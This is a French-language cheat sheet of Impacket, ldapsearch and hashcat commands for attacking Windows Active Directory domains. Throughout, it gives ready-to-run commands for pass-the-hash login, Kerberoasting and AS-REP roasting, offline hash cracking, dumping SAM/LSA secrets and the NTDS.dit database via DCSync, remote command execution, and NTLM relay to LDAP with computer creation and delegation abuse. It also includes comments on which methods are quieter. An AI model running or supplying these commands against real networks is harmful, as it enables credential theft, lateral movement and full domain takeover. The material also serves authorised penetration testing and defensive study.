#Authentification
# Mot de passe
impacket-smbclient 'DOMAIN/user:Password@10.10.10.10'
# Hash NTLM (pass-the-hash)
impacket-smbclient -hashes :NTHASH 'DOMAIN/user@10.10.10.10'
# Kerberos (ccache)
export KRB5CCNAME=user.ccache
impacket-smbclient -k -no-pass 'DOMAIN/user@dc01.domain.local'
#Énumération
# Utilisateurs et groupes du domaine
impacket-GetADUsers -all 'DOMAIN/user:Password@dc01.domain.local'
# SID / utilisateurs locaux via SMB
impacket-lookupsid 'DOMAIN/user:Password@10.10.10.10'
# Partages
impacket-smbclient 'DOMAIN/user:Password@10.10.10.10'
# puis : shares, use C$, ls
# Requête LDAP rapide (client OpenLDAP)
ldapsearch -x -H ldap://dc01.domain.local -D 'user@domain.local' -w 'Password' \
-b 'DC=domain,DC=local' '(objectClass=user)'
#Kerberoasting / AS-REP
# Comptes avec SPN → hash Kerberos (crackable hors ligne)
impacket-GetUserSPNs 'DOMAIN/user:Password@dc01.domain.local' -request -outputfile kerberoast.txt
# Comptes sans pré-authentification
impacket-GetNPUsers 'DOMAIN/' -usersfile users.txt -format hashcat \
-dc-ip 10.10.10.10 -no-pass -outputfile asrep.txt
# Crack
hashcat -m 13100 kerberoast.txt rockyou.txt # TGS-REP
hashcat -m 18200 asrep.txt rockyou.txt # AS-REP
#Dump de secrets
# SAM + LSA + cached creds sur une machine
impacket-secretsdump 'DOMAIN/user:Password@10.10.10.10'
# DCSync (droits de réplication nécessaires)
impacket-secretsdump 'DOMAIN/user:Password@dc01.domain.local' -just-dc
# NTDS.dit hors ligne
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
# Depuis un hash local admin
impacket-secretsdump -hashes :NTHASH 'Administrator@10.10.10.10'
#Exécution à distance
# SMB (service créé, assez bruyant)
impacket-psexec 'DOMAIN/user:Password@10.10.10.10'
# WMI (plus discret, pas de service)
impacket-wmiexec 'DOMAIN/user:Password@10.10.10.10'
# SMBexec, atexec, dcomexec
impacket-smbexec 'DOMAIN/user:Password@10.10.10.10'
impacket-atexec 'DOMAIN/user:Password@10.10.10.10' 'whoami'
impacket-dcomexec 'DOMAIN/user:Password@10.10.10.10' 'whoami'
#Relais NTLM
# Écoute SMB et relaie vers une cible sans signature
impacket-ntlmrelayx -tf targets.txt -smb2support
# Relais vers LDAP avec création d'un ordinateur (ADCS)
impacket-ntlmrelayx -t ldap://dc01 --add-computer
# Relais vers LDAPS
impacket-ntlmrelayx -t ldaps://dc01 -smb2support --delegate-access